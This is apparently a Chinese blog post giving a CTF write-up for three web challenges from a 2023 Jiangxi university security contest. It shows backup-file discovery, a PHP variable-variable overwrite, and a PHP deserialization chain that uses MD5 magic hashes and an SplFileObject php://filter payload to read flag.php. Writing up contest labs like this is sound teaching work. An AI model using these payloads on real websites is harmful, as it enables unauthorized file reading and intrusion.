2023年# 2023年江西省大学生信息安全技术大赛预选赛部分wp(web 1,2,5)

这里放了本人本人在比赛写出来的部分部分题目题解,只有web方向的简单题

第一题

题目信息收集,所以就尝试下面几个方向:

  • 查看页面源代码(不能用右键,那就ctrl+u)

  • 查看www.zip, robots.txt,index.phps,.git,.svn,index.php.swp

  • 抓包查看协议头

  • 尝试是否有 url/editor(是否修改有默认配置)

  • 尝试 db/db.mdb (mdb文件是早期asp+access构架的数据库文件)

发现有www.zip ,下载后发先index.php,和f1ooog.txt两个文件,打开f1ooog.txt,有这个

flag{flag_is_here}

尝试提交,错误,然后就看另一个文件,没有有用信息,然后尝试访问

url/f1ooog.txt

得到flag

第二题

题目提示了要知道bak也就是备份文件,所以就去找index.php.bak

url/index.php.bak

然后下载下来,得到原码

include "flag.php";
$_403 = "Access Denied";
$_200 = "Welcome Admin";
if ($_SERVER["REQUEST_METHOD"] != "POST")
    die("Mabey you need know bak file");
if ( !isset($_POST["flag"]) )
    die($_403);
foreach ($_GET as $key => $value)
    $$key = $$value;
foreach ($_POST as $key => $value)
    $$key = $value;
if ( $_POST["flag"] !== $flag )
    die($_403);
echo "This is your flag : ". $flag . "\n";
die($_200);

首先要是post传参,然后传入flag参数,然后就是两个遍历,最后判定两个flag是否相等。

所以用hackerbar来传参

flag = 1

注意这里遍历时有些变量有两个$

$a = 'flag';
$flag = flag{};
$$a = 123;//就相当于$flag = flag{}

由于$_POST里存放的post参数的数组,所以

foreach ($_POST as $key => $value)
    $$key = $value;

这里就把$flag给重写了,由于必须传入flag参数,我没有找到如何绕过,但是,可以注意到,代码最后一句是die($200),那么是不是可重写$200呢,所以构造payload:(注意这里是GET传参)

url/flag=_200

得到flag

第五题

页面提示代码

<?php
error_reporting(0);
​
class wz{
    public $wname;
    public $wrank;
    public function __construct($n,$r){
        $this->wname = $n;
        $this->wrank = $r;
    }
    
    public function whoplaywz($a,$b){
        if($a===$b){
            return true;
        }else{
            echo 'are u Primary school student? ';
            return false;
        }
    }
}
​
class lol{
    public $lname;
    public $lrank;
    public function __construct($n,$l){
        $this->lname = $n;
        $this->lrank = $l;
    }
    
    public function firstBlood(){
        if($this->lname==='520' || $this->lname==='0x208'){
            return false;
        }
        if(intval($this->lname,0)===520){
            echo 'women like 520,but i like to play lol!  ';
            if($this->lrank->wname !=$this->lrank->wrank && md5($this->lrank->wname)==md5($this->lrank->wrank)){
                return true;
            }else{
                return false;
            }
            
        }else{
            return false;
        }
    }
​
    public function win(){
        if($this->lname = 'EDG' or $this->lrank->wname = 'IG' or $this->lrank->wrank ='DWG'){
            echo $flag;
        }
    }
    
    public function __wakeup(){
        if($this->lrank->whoplaywz($this->lrank->wname,$this->lrank->wrank)){
            $this->win();
        }
    }
}
​
class dota{
    public $dname;
    public $drank;
    public function __construct($d,$c){
        $this->dname = $d;
        $this->drank = $c;
    }
    public function bestdota(){
        if($this->drank == 'cndota'){
            echo "Do u want to see flag.php?\n";
            echo new $_POST['c']($_POST['n']);
        }
    }
    public function __wakeup(){
        if($this->dname->firstBlood()) {
            $this->bestdota();
        }
    }
}
​
if(isset($_GET['poc'])){
    unserialize(base64_decode($_GET['poc']));
}else{
    highlight_file(__FILE__);
}
?> 

分析,首先要GRT传入一个poc参数,由于unserialize所以要先进行序列化,然后还要进行base64加密,那么三个类序列化那个呢,看__wakeup方法(php魔术方法附在文章最后)

  • __wakeup方法会在类执行反序列化unserialize()时,先会调用这个函数

然后分析代码,就可以知道我们因该序列化dota类

//复制dota类代码
$a = new dota(1,2);
var_dump(base64_encode(serialize($a)));

分析dota类:

先是调用构造方法,传入两个参数值,然后就是调用__wakeup方法,由$this->dname->firstBlood()知,dname传入的参数为lol类的实例化对象

$a = new dota(new lol(1,2),2);

然后进入firstBlood方法,这里也要调用构造方法,if判断是否lname为520……,

intval('123abc'); //输出:123
intval('abc123');// 0

所以

$a = new dota(new lol('520abc',2),2);

$this->lrank->wname说明wname传入的是wz类的实例化对象

$a = new dota(new lol('520abc',new wz(1,2)),2);

然后就是判断MD5加密后是否相等

s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514

随便取一个就行

$a = new dota(new lol('520abc',new wz('s878926199a','s155964671a')),2);

然后就回到了dota类,进入bestdota方法中,

这要求$this->drank == 'cndota',所以

$a = new dota(new lol('520abc',new wz('s878926199a','s155964671a')),'cndota');

然就是传入两个post参数,n和c,注意到前面有个new,本人本来是构造一个对lol类的反序列从而引用__wakeup方法,然后进入win方法,得到flag,但是没有成功,大家可以试试,这里介绍一另一种方法,原生类

目录遍历
DirectoryIterator (PHP 5, PHP 7, PHP 8) 
FilesystemIterator (PHP 5 >= 5.3.0, PHP 7, PHP 8) 
GlobIterator 文件读取
SplFileInfo类
SplFileObject类
SplTempFileObject类

PHP原生类详解原生php屿暖暖的博客-CSDN博客

所以构造payload

c=SplFileObject&n=php://filter/convert.base64-encode/resource=flag.php

得到

are u Primary school student? women like 520,but i like to play lol! Do u want to see flag.php? PD9waHANCiRmbGFnPSdmbGFne2FlMG8tZmpyLTIzZWUzLWtleW9vdX0nOw0KID8+

然后用bp解码得到

<?php
$flag='flag{ae0o-fjr-23ee3-keyoou}';
 ?>

PHP魔术方法

方法名描述
__sleep()执行序列化serialize()时,先会调用这个函数
__wakeup()执行反序列化unserialize()时,先会调用这个函数
__get()当获得一个类的成员变量时调用
__set()当设置一个类的成员变量时调用
isset() 当对不可访问属性调用isset()或empty()时调用
unset()当对不可访问属性调用unset()时被调用
__construct()类的构造函数
_destruct()类的析构函数
__ call() 在对象中调用一个不可访问方法时调用
__callStatic()用静态方式中调用一个不可访问方法时调用
__autoload()尝试加载未定义的类
__toString()在将一个对象转化成字符串时自动调用
  • 29
    点赞
  • 33
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值